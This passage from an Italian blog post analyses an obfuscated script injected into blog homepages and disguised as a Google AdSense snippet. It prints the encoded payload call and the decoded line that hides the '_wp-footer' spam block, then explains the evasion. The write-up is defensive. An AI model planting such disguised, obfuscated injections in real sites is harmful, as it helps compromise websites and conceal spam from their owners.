  google_ads("http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E455C544248504F53434F0304084C4C50423A02373B44403B2F4609ED3838362CE800");
  //-->
</script>

Ad una occhiata distratta sembra un normale segmento di script per Google AdSense, ma qualcosa non quadra. Il for contiene una semplice funzione di decodifica. Basta sostituire alla funzione eval vicino alla fine con alert o con document.write: il risultato lo vediamo in figura.

In stringa:

document.getElementById('_wp-footer').style.display="none";

La funzione di questo minuscolo pezzo di codice è di inserire lo stile display:none negli attributi del blocco div con ID _wp-footer, in breve di non visualizzarlo.
In questo modo se qualcuno cerca nelle pagine qualcosa di nascosto tramite lo stile display:none non lo troverà mai. Si tratta di protezione per offuscamento del codice.

Questi ed altri indizi mostrano che il codice malevolo è in evoluzione: a partire dalla variante detta Goro Spam, dove lo stile era esplicito nella pagina, si è passati all’offuscamento proprio di quello stile ed all’uso di un ID con nome molto comune. Sta diventando sempre più difficile trovare siti compromessi, certo non per via dell’esaurirsi dell’attacco, piuttosto per la maggiore sofisticazione impiegata dall’attaccante.

Appena avrò maggiori dettagli pubblicherò altri articoli. Nel frattempo, massima attenzione alle homepage dei vostri blog.